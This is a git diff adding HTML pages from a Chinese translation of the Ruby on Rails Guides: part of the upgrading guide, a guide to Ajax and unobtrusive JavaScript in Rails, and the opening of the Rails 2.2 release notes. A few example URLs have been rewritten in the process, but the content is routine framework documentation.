  • Rails 4.0 has removed the identity map from Active Record, due to some inconsistencies with associations. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: config.active_record.identity_map.

  • +
  • The delete method in collection associations can now receive Fixnum or String arguments as record ids, besides records, pretty much like the destroy method does. Previously it raised ActiveRecord::AssociationTypeMismatch for such arguments. From Rails 4.0 on delete automatically tries to find the records matching the given ids before deleting them.

  • +
  • In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.

  • +
  • Rails 4.0 has changed serialized_attributes and attr_readonly to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. self.serialized_attributes to self.class.serialized_attributes.

  • +
  • Rails 4.0 has removed attr_accessible and attr_protected feature in favor of Strong Parameters. You can use the Protected Attributes gem for a smooth upgrade path.

  • +
  • If you are not using Protected Attributes, you can remove any options related to +this gem such as whitelist_attributes or mass_assignment_sanitizer options.

  • +
  • Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:

  • +
+
+
+  scope :active, where(active: true)
+
+  # becomes
+  scope :active, -> { where active: true }
+
+
+
+ +
    +
  • Rails 4.0 has deprecated ActiveRecord::Fixtures in favor of ActiveRecord::FixtureSet.

  • +
  • Rails 4.0 has deprecated ActiveRecord::TestCase in favor of ActiveSupport::TestCase.

  • +
  • Rails 4.0 has deprecated the old-style hash based finder API. This means that +methods which previously accepted "finder options" no longer do.

  • +
  • +

    All dynamic methods except for find_by_... and find_by_...! are deprecated. +Here's how you can handle the changes:

    +
      +
    • +find_all_by_... becomes where(...).
    • +
    • +find_last_by_... becomes where(...).last.
    • +
    • +scoped_by_... becomes where(...).
    • +
    • +find_or_initialize_by_... becomes find_or_initialize_by(...).
    • +
    • +find_or_create_by_... becomes find_or_create_by(...).
    • +
    +
  • +
  • Note that where(...) returns a relation, not an array like the old finders. If you require an Array, use where(...).to_a.

  • +
  • These equivalent methods may not execute the same SQL as the previous implementation.

  • +
  • To re-enable the old finders, you can use the activerecord-deprecated_finders gem.

  • +
+

4.5 Active Resource

Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the Active Resource gem in your Gemfile.

4.6 Active Model

+
    +
  • Rails 4.0 has changed how errors attach with the ActiveModel::Validations::ConfirmationValidator. Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute.

  • +
  • Rails 4.0 has changed ActiveModel::Serializers::JSON.include_root_in_json default value to false. Now, Active Model Serializers and Active Record objects have the same default behaviour. This means that you can comment or remove the following option in the config/initializers/wrap_parameters.rb file:

  • +
+
+
+# Disable root element in JSON by default.
+# ActiveSupport.on_load(:active_record) do
+#   self.include_root_in_json = false
+# end
+
+
+
+

4.7 Action Pack

+
    +
  • Rails 4.0 introduces ActiveSupport::KeyGenerator and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing secret_token in place and add the new secret_key_base.
  • +
+
+
+  # config/initializers/secret_token.rb
+  Myapp::Application.config.secret_token = 'existing secret token'
+  Myapp::Application.config.secret_key_base = 'new secret key base'
+
+
+
+

Please note that you should wait to set secret_key_base until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new secret_key_base in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing secret_token in place, not set the new secret_key_base, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.

If you are relying on the ability for external applications or Javascript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set secret_key_base until you have decoupled these concerns.

+
    +
  • Rails 4.0 encrypts the contents of cookie-based sessions if secret_key_base has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
  • +
+

Please read Pull Request #9978 for details on the move to encrypted session cookies.

+
    +
  • Rails 4.0 removed the ActionController::Base.asset_path option. Use the assets pipeline feature.

  • +
  • Rails 4.0 has deprecated ActionController::Base.page_cache_extension option. Use ActionController::Base.default_static_extension instead.

  • +
  • Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the actionpack-action_caching gem in order to use caches_action and the actionpack-page_caching to use caches_pages in your controllers.

  • +
  • Rails 4.0 has removed the XML parameters parser. You will need to add the actionpack-xml_parser gem if you require this feature.

  • +
  • Rails 4.0 changes the default memcached client from memcache-client to dalli. To upgrade, simply add gem 'dalli' to your Gemfile.

  • +
  • Rails 4.0 deprecates the dom_id and dom_class methods in controllers (they are fine in views). You will need to include the ActionView::RecordIdentifier module in controllers requiring this feature.

  • +
  • Rails 4.0 deprecates the :confirm option for the link_to helper. You should +instead rely on a data attribute (e.g. data: { confirm: 'Are you sure?' }). +This deprecation also concerns the helpers based on this one (such as link_to_if +or link_to_unless).

  • +
  • Rails 4.0 changed how assert_generates, assert_recognizes, and assert_routing work. Now all these assertions raise Assertion instead of ActionController::RoutingError.

  • +
  • Rails 4.0 raises an ArgumentError if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the resources method. Here are two examples that clash with routes named example_path:

  • +
+
+
+  get 'one' => 'test#example', as: :example
+  get 'two' => 'test#example', as: :example
+
+
+
+
+
+  resources :examples
+  get 'clashing/:id' => 'test#example', as: :example
+
+
+
+

In the first case, you can simply avoid using the same name for multiple +routes. In the second, you can use the only or except options provided by +the resources method to restrict the routes created as detailed in the +Routing Guide.

+
    +
  • Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
  • +
+
+
+get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'
+
+
+
+

becomes

+
+get 'こんにちは', controller: 'welcome', action: 'index'
+
+
+
+ +
    +
  • Rails 4.0 requires that routes using match must specify the request method. For example:
  • +
+
+
+  # Rails 3.x
+  match '/' => 'root#index'
+
+  # becomes
+  match '/' => 'root#index', via: :get
+
+  # or
+  get '/' => 'root#index'
+
+
+
+ + +

Remember you must also remove any references to the middleware from your application code, for example:

+
+# Raise exception
+config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
+
+
+
+

Also check your environment settings for config.action_dispatch.best_standards_support and remove it if present.

+
    +
  • In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from vendor/assets and lib/assets. Rails application and engine developers should put these assets in app/assets or configure config.assets.precompile.

  • +
  • In Rails 4.0, ActionController::UnknownFormat is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.

  • +
  • In Rails 4.0, a generic ActionDispatch::ParamsParser::ParseError exception is raised when ParamsParser fails to parse request params. You will want to rescue this exception instead of the low-level MultiJson::DecodeError, for example.

  • +
  • In Rails 4.0, SCRIPT_NAME is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set default_url_options[:script_name] to work around overwritten URL prefixes.

  • +
  • Rails 4.0 deprecated ActionController::Integration in favor of ActionDispatch::Integration.

  • +
  • Rails 4.0 deprecated ActionController::IntegrationTest in favor of ActionDispatch::IntegrationTest.

  • +
  • Rails 4.0 deprecated ActionController::PerformanceTest in favor of ActionDispatch::PerformanceTest.

  • +
  • Rails 4.0 deprecated ActionController::AbstractRequest in favor of ActionDispatch::Request.

  • +
  • Rails 4.0 deprecated ActionController::Request in favor of ActionDispatch::Request.

  • +
  • Rails 4.0 deprecated ActionController::AbstractResponse in favor of ActionDispatch::Response.

  • +
  • Rails 4.0 deprecated ActionController::Response in favor of ActionDispatch::Response.

  • +
  • Rails 4.0 deprecated ActionController::Routing in favor of ActionDispatch::Routing.

  • +
+

4.8 Active Support

Rails 4.0 removes the j alias for ERB::Util#json_escape since j is already used for ActionView::Helpers::JavaScriptHelper#escape_javascript.

4.9 Helpers Loading Order

The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the helpers_path parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use config.railties_order= method.

4.10 Active Record Observer and Action Controller Sweeper

Active Record Observer and Action Controller Sweeper have been extracted to the rails-observers gem. You will need to add the rails-observers gem if you require these features.

4.11 sprockets-rails

+
    +
  • +assets:precompile:primary and assets:precompile:all have been removed. Use assets:precompile instead.
  • +
  • The config.assets.compress option should be changed to config.assets.js_compressor like so for instance:
  • +
+
+
+config.assets.js_compressor = :uglifier
+
+
+
+

4.12 sass-rails

+
    +
  • +asset-url with two arguments is deprecated. For example: asset-url("http://github.com/rails.png%22,%20image) becomes asset-url("http://github.com/rails.png").
  • +
+

5 Upgrading from Rails 3.1 to Rails 3.2

If your application is currently on any version of Rails older than 3.1.x, you +should upgrade to Rails 3.1 before attempting an update to Rails 3.2.

The following changes are meant for upgrading your application to the latest +3.2.x version of Rails.

5.1 Gemfile

Make the following changes to your Gemfile.

+
+gem 'rails', '3.2.18'
+
+group :assets do
+  gem 'sass-rails',   '~> 3.2.6'
+  gem 'coffee-rails', '~> 3.2.2'
+  gem 'uglifier',     '>= 1.0.3'
+end
+
+
+
+

5.2 config/environments/development.rb

There are a couple of new configuration settings that you should add to your development environment:

+
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+# Log the query plan for queries taking more than this (works
+# with SQLite, MySQL, and PostgreSQL)
+config.active_record.auto_explain_threshold_in_seconds = 0.5
+
+
+
+

5.3 config/environments/test.rb

The mass_assignment_sanitizer configuration setting should also be be added to config/environments/test.rb:

+
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+
+
+

5.4 vendor/plugins

Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

5.5 Active Record

Option :dependent => :restrict has been removed from belongs_to. If you want to prevent deleting the object if there are any associated objects, you can set :dependent => :destroy and return false after checking for existence of association from any of the associated object's destroy callbacks.

6 Upgrading from Rails 3.0 to Rails 3.1

If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.

The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.

6.1 Gemfile

Make the following changes to your Gemfile.

+
+gem 'rails', '3.1.12'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   '~> 3.1.7'
+  gem 'coffee-rails', '~> 3.1.1'
+  gem 'uglifier',     '>= 1.0.3'
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+
+
+
+

6.2 config/application.rb

The asset pipeline requires the following additions:

+
+config.assets.enabled = true
+config.assets.version = '1.0'
+
+
+
+

If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

+
+# Defaults to '/assets'
+config.assets.prefix = '/asset-files'
+
+
+
+

6.3 config/environments/development.rb

Remove the RJS setting config.action_view.debug_rjs = true.

Add these settings if you enable the asset pipeline:

+
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+
+
+
+

6.4 config/environments/production.rb

Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

+
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+
+# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+# config.force_ssl = true
+
+
+
+

6.5 config/environments/test.rb

You can help test performance with these additions to your test environment:

+
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = 'public, max-age=3600'
+
+
+
+

6.6 config/initializers/wrap_parameters.rb

Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

+
+# Be sure to restart your server when you modify this file.
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+  wrap_parameters format: [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+  self.include_root_in_json = false
+end
+
+
+
+

6.7 config/initializers/session_store.rb

You need to change your session key to something new, or remove all sessions:

+
+# in config/initializers/session_store.rb
+AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
+
+
+
+

or

+
+$ bin/rake db:sessions:clear
+
+
+
+

6.8 Remove :cache and :concat options in asset helpers references in views

+
    +
  • With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
  • +
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/working_with_javascript_in_rails.html b/v4.1/working_with_javascript_in_rails.html new file mode 100644 index 0000000..a60a7f9 --- /dev/null +++ b/v4.1/working_with_javascript_in_rails.html @@ -0,0 +1,517 @@ + + + + + + + +在 Rails 中使用 JavaScript — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

在 Rails 中使用 JavaScript

本文介绍 Rails 内建对 Ajax 和 JavaScript 等的支持,使用这些功能可以轻易的开发强大的 Ajax 程序。

读完本文,你将学到:

+
    +
  • Ajax 基本知识;
  • +
  • 非侵入式 JavaScript;
  • +
  • 如何使用 Rails 内建的帮助方法;
  • +
  • 如何在服务器端处理 Ajax;
  • +
  • Turbolinks 简介;
  • +
+ + + + +
+
+ +
+
+
+

1 Ajax 简介

在理解 Ajax 之前,要先知道网页浏览器常规的工作原理。

在浏览器的地址栏中输入 http://localhost:3000 后,浏览器(客户端)会向服务器发起一个请求。然后浏览器会处理响应,获取相关的资源文件,比如 JavaScript、样式表、图片,然后显示页面内容。点击链接后发生的事情也是如此:获取页面内容,获取资源文件,把全部内容放在一起,显示最终的网页。这个过程叫做“请求-响应循环”。

JavaScript 也可以向服务器发起请求,并处理响应。而且还能更新网页中的内容。因此,JavaScript 程序员可以编写只需更新部分内容的网页,而不用从服务器获取完整的页面数据。这是一种强大的技术,我们称之为 Ajax。

Rails 默认支持 CoffeeScript,后文所有的示例都用 CoffeeScript 编写。本文介绍的技术,在普通的 JavaScript 中也可使用。

例如,下面这段 CoffeeScript 代码使用 jQuery 发起一个 Ajax 请求:

+
+$.ajax(url: "/test").done (html) ->
+  $("#results").append html
+
+
+
+

这段代码从 /test 地址上获取数据,然后把结果附加到 div#results

Rails 内建了很多使用这种技术开发程序的功能,基本上无需自己动手编写上述代码。后文介绍 Rails 如何为开发这种程序提供帮助,不过都构建在这种简单的技术之上。

2 非侵入式 JavaScript

Rails 使用一种叫做“非侵入式 JavaScript”(Unobtrusive JavaScript)的技术把 JavaScript 应用到 DOM 上。非侵入式 JavaScript 是前端开发社区推荐使用的方法,但有些教程可能会使用其他方式。

下面是编写 JavaScript 最简单的方式,你可能见过,这叫做“行间 JavaScript”:

+
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+
+
+
+

点击链接后,链接的背景会变成红色。这种用法的问题是,如果点击链接后想执行大量代码怎么办?

+
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+
+
+
+

太别扭了,不是吗?我们可以把处理点击的代码定义成一个函数,用 CoffeeScript 编写如下:

+
+paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+
+
+

然后在页面中这么做:

+
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+
+
+
+

这种方法好点儿,但是如果很多链接需要同样的效果该怎么办呢?

+
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
+
+
+
+

非常不符合 DRY 原则。为了解决这个问题,我们可以使用“事件”。在链接上添加一个 data-* 属性,然后把处理程序绑定到拥有这个属性的点击事件上:

+
+paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+$ ->
+  $("a[data-background-color]").click ->
+    backgroundColor = $(this).data("background-color")
+    textColor = $(this).data("text-color")
+    paintIt(this, backgroundColor, textColor)
+
+
+
+
+
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+
+
+
+

我们把这种方法称为“非侵入式 JavaScript”,因为 JavaScript 代码不再和 HTML 混用。我们把两中代码完全分开,这么做易于修改功能。我们可以轻易地把这种效果应用到其他链接上,只要添加相应的 data 属性就行。所有 JavaScript 代码都可以放在一个文件中,进行压缩,每个页面都使用这个 JavaScript 文件,因此只在第一次请求时加载,后续请求会直接从缓存中读取。“非侵入式 JavaScript”带来的好处太多了。

Rails 团队极力推荐使用这种方式编写 CoffeeScript 和 JavaScript,而且你会发现很多代码库都沿用了这种方式。

3 内建的帮助方法

Rails 提供了很多视图帮助方法协助你生成 HTML,如果想在元素上实现 Ajax 效果也没问题。

因为使用的是非侵入式 JavaScript,所以 Ajax 相关的帮助方法其实分成两部分,一部分是 JavaScript 代码,一部分是 Ruby 代码。

rails.js 提供 JavaScript 代码,常规的 Ruby 视图帮助方法用来生成 DOM 标签。rails.js 中的 CoffeeScript 会监听这些属性,执行相应的处理程序。

3.1 form_for +

form_for 方法协助编写表单,可指定 :remote 选项,用法如下:

+
+<%= form_for(@post, remote: true) do |f| %>
+  ...
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/posts" class="new_post" data-remote="true" id="new_post" method="post">
+  ...
+</form>
+
+
+
+

注意 data-remote="true" 属性,现在这个表单不会通过常规的提交按钮方式提交,而是通过 Ajax 提交。

或许你并不需要一个只能填写内容的表单,而是想在表单提交成功后做些事情。为此,我们要绑定到 ajax:success 事件上。处理表单提交失败的程序要绑定到 ajax:error 事件上。例如:

+
+$(document).ready ->
+  $("#new_post").on("ajax:success", (e, data, status, xhr) ->
+    $("#new_post").append xhr.responseText
+  ).on "ajax:error", (e, xhr, status, error) ->
+    $("#new_post").append "<p>ERROR</p>"
+
+
+
+

显然你需要的功能比这要复杂,上面的例子只是个入门。关于事件的更多内容请阅读 jquery-ujs 的维基

3.2 form_tag +

form_tag 方法的功能和 form_for 类似,也可指定 :remote 选项,如下所示:

+
+<%= form_tag('/posts', remote: true) do %>
+  ...
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/posts" data-remote="true" method="post">
+  ...
+</form>
+
+
+
+

其他用法都和 form_for 一样。详细介绍参见文档。

link_to 方法用来生成链接,可以指定 :remote,用法如下:

+
+<%= link_to "a post", @post, remote: true %>
+
+
+
+

生成的 HTML 如下:

+
+<a href="http://github.com/posts/1" data-remote="true">a post</a>
+
+
+
+

绑定的 Ajax 事件和 form_for 方法一样。下面举个例子。加入有一个文章列表,我们想只点击一个链接就删除所有文章,视图代码如下:

+
+<%= link_to "Delete post", @post, remote: true, method: :delete %>
+
+
+
+

CoffeeScript 代码如下:

+
+$ ->
+  $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+    alert "The post was deleted."
+
+
+
+

3.4 button_to +

button_to 方法用来生成按钮,可以指定 :remote 选项,用法如下:

+
+<%= button_to "A post", @post, remote: true %>
+
+
+
+

生成的 HTML 如下:

+
+<form action="http://github.com/posts/1" class="button_to" data-remote="true" method="post">
+  <div><input type="submit" value="A post"></div>
+</form>
+
+
+
+

因为生成的就是一个表单,所以 form_for 的全部信息都适用于这里。

4 服务器端处理

Ajax 不仅需要编写客户端代码,服务器端也要做处理。Ajax 请求一般不返回 HTML,而是 JSON。下面详细介绍处理过程。

4.1 一个简单的例子

假设在网页中要显示一系列用户,还有一个新建用户的表单,控制器的 index 动作如下所示:

+
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    @user = User.new
+  end
+  # ...
+
+
+
+

index 动作的视图(app/views/users/index.html.erb)如下:

+
+<b>Users</b>
+
+<ul id="users">
+<%= render @users %>
+</ul>
+
+<br>
+
+<%= form_for(@user, remote: true) do |f| %>
+  <%= f.label :name %><br>
+  <%= f.text_field :name %>
+  <%= f.submit %>
+<% end %>
+
+
+
+

app/views/users/_user.html.erb 局部视图如下:

+
+<li><%= user.name %></li>
+
+
+
+

index 动作的上部显示用户,下部显示新建用户的表单。

下部的表单会调用 UsersControllercreate 动作。因为表单的 remote 属性为 true,所以发往 UsersController 的是 Ajax 请求,使用 JavaScript 处理。要想处理这个请求,控制器的 create 动作应该这么写:

+
+  # app/controllers/users_controller.rb
+  # ......
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        format.html { redirect_to @user, notice: 'User was successfully created.' }
+        format.js   {}
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: "new" }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+
+
+
+

注意,在 respond_to 的代码块中使用了 format.js,这样控制器才能处理 Ajax 请求。然后还要新建 app/views/users/create.js.erb 视图文件,编写发送响应以及在客户端执行的 JavaScript 代码。

+
+$("<%= escape_javascript(render @user) %>").appendTo("#users");
+
+
+
+

Rails 4 提供了 Turbolinks gem,这个 gem 可用于大多数程序,加速页面渲染。

Turbolinks 为页面中所有的 <a> 元素添加了一个点击事件处理程序。如果浏览器支持 PushState,Turbolinks 会发起 Ajax 请求,处理响应,然后使用响应主体替换原始页面的整个 <body> 元素。最后,使用 PushState 技术更改页面的 URL,让新页面可刷新,并且有个精美的 URL。

要想使用 Turbolinks,只需将其加入 Gemfile,然后在 app/assets/javascripts/application.js 中加入 //= require turbolinks 即可。

如果某个链接不想使用 Turbolinks,可以在链接中添加 data-no-turbolink 属性:

+
+<a href="http://github.com/..." data-no-turbolink>No turbolinks here</a>.
+
+
+
+

5.2 页面内容变更事件

编写 CoffeeScript 代码时,经常需要在页面加载时做一些事情。在 jQuery 中,我们可以这么写:

+
+$(document).ready ->
+  alert "page has loaded!"
+
+
+
+

不过,因为 Turbolinks 改变了常规的页面加载流程,所以不会触发这个事件。如果编写了类似上面的代码,要将其修改为:

+
+$(document).on "page:change", ->
+  alert "page has loaded!"
+
+
+
+

其他可用事件等详细信息,请参阅 Turbolinks 的说明文件

6 其他资源

下面列出一些链接,可以帮助你进一步学习:

+ + + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v5.0/2_2_release_notes.html b/v5.0/2_2_release_notes.html new file mode 100644 index 0000000..c598606 --- /dev/null +++ b/v5.0/2_2_release_notes.html @@ -0,0 +1,731 @@ + + + + + + + +Ruby on Rails 2.2 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 2.2 Release Notes

Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

Along with Rails, 2.2 marks the launch of the Ruby on Rails Guides, the first results of the ongoing Rails Guides hackfest. This site will deliver high-quality documentation of the major features of Rails.

+ + + +
+
+ +
+
+
+

1 Infrastructure

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

1.1 Internationalization

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

+ +

1.2 Compatibility with Ruby 1.9 and JRuby

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

2 Documentation

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

+ +

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

If you want to generate these guides locally, inside your application:

+
+rake doc:guides
+
+
+
+

This will put the guides inside Rails.root/doc/guides and you may start surfing straight away by opening Rails.root/doc/guides/index.html in your favourite browser.

+ +

3 Better integration with HTTP : Out of the box ETag support

Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

+
+class ArticlesController < ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+    # of rendering the template.
+    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a "304 Not Modified"
+    # instead of rendering the template.
+    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+  end
+end
+
+
+
+

4 Thread Safety

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:

+
+config.threadsafe!
+
+
+
+ + +

5 Active Record

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

5.1 Transactional Migrations

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

+ +

5.2 Connection Pooling

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.

+
+development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+
+
+
+ + +

5.3 Hashes for Join Table Conditions

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

+
+class Photo < ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+
+
+
+ + +

5.4 New Dynamic Finders

Two new sets of methods have been added to Active Record's dynamic finders family.

5.4.1 find_last_by_attribute +

The find_last_by_attribute method is equivalent to Model.last(:conditions => {:attribute => value})

+
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+
+
+
+ + +
5.4.2 find_by_attribute! +

The new bang! version of find_by_attribute! is equivalent to Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can't find a matching record, this method will raise an exception if it cannot find a match.

+
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+
+
+
+ + +

5.5 Associations Respect Private/Protected Scope

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you're overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.

+ +

5.6 Other Active Record Changes

+
    +
  • +rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo
  • +
